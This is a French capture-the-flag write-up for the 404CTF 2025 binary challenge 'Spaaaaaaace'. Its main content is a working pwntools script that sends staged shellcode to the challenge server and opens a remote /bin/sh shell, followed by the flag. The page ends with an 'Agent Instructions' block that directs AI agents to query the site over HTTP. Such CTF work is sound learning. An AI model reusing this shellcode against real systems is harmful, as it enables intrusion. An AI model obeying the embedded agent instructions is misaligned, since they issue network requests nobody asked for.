# Spaaaaaaace

**Catégorie:** Exploitation de binaires - **Difficulté:** Facile

{% file src="/files/7K1jE6iVYeqS9rfm9eOG" %}

**Description:**

<figure><img src="/files/CLitWEJfslGcCsF6H0Ir" alt=""><figcaption></figcaption></figure>

Solution:

Pour terminer ce chall, j'ai développé ce script automatique à l'aide de Manus afin que je comprenne chaque étape nécessaire pour terminer ce challenge.\
Voici donc le script final :&#x20;

```python
from pwn import *

# Target connection details
HOST = "challenges.404ctf.fr"
PORT = 32466

# Assemble stage1 shellcode (13 bytes) using Pwntools asm for AMD64
stage1 = asm(
    """
    push rdi;             /* Copy firmware pointer (RDI) to RSI */
    pop rsi;
    xor edi, edi;         /* RDI = 0 (stdin FD) */
    mov edx, 0x100;       /* RDX = 256 (bytes to read) */
    xor eax, eax;         /* RAX = 0 (sys_read) */
    syscall               /* invoke read(0, RSI, 256) */
    """, arch='amd64'
)

# Verify stage1 length
if len(stage1) != 13:
    log.error(f"Stage1 shellcode is {len(stage1)} bytes instead of 13 bytes!")
    exit(1)
log.info(f"Stage1 shellcode length OK: {len(stage1)} bytes")

# Assemble stage2 shellcode to spawn /bin/sh
# Using Pwntools shellcraft for a standard execve("/bin/sh") shellcode
stage2_execve = asm(shellcraft.amd64.linux.sh(), arch='amd64')

# Prefix 13 NOPs for padding/alignment 
stage2 = b"\x90" * 13 + stage2_execve

# Pad stage2 to 256 bytes (the read length) to avoid blocking
if len(stage2) < 256:
    stage2 += b"\x90" * (256 - len(stage2))
stage2 = stage2[:256]  # (ensure not over 256, though shellcode likely shorter)

log.info(f"Stage2 shellcode length (including padding): {len(stage2)} bytes")

# Connect to the remote service
io = remote(HOST, PORT)

# Step 1: Select "1. Upload an update"
io.recvuntil(b"> ")           # Wait for prompt "Enter your choice\n> "
io.sendline(b"1")             # send choice 1

# Step 2: Send stage1 shellcode when prompted for update
io.recvuntil(b"Ready to receive update > ")
io.send(stage1)               # send raw 13-byte stage1 payload

# Step 3: Select "2. Run the firmware" to execute stage1
io.recvuntil(b"> ")
io.sendline(b"2")             # send choice 2 to run the uploaded firmware

# Stage1 will now be running and performing read, so send stage2
io.send(stage2)               # Step 4: send the 256-byte stage2 payload

# Step 5: Hand over to interactive mode – stage2 should spawn a shell
io.interactive()
```

Le script tourne donc automatiquement et nous donne un shell interactif. Il suffit simplement d'aller chercher le fichier flag.txt afin de récupérer ce que nous cherchons :&#x20;

<figure><img src="/files/8hQbiY8F8ynX79KpR8Jg" alt=""><figcaption></figcaption></figure>

<details>

<summary>🚩FLAG</summary>

`404CTF{wh3n_l1fe_91ve5_you_LeMOn...}`

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeups.ayweth20.com/2025/404ctf-2025/exploitation-de-binaires/spaaaaaaace.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
